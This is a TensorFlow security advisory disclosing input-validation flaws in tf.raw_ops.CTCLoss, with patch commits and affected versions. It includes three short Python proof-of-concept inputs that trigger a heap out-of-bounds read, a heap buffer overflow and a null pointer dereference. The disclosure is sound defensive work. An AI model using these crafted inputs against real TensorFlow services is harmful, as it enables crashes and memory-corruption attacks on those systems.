Incomplete validation in `tf.raw_ops.CTCLoss`

### Impact Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap: ```python import tensorflow as tf inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ``` An attacker can also trigger a heap buffer overflow: ```python import tensorflow as tf inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` Finally, an attacker can trigger a null pointer dereference: ```python import tensorflow as tf inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` ### Patches We have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Quoted source text, attributed separately from HOL analysis.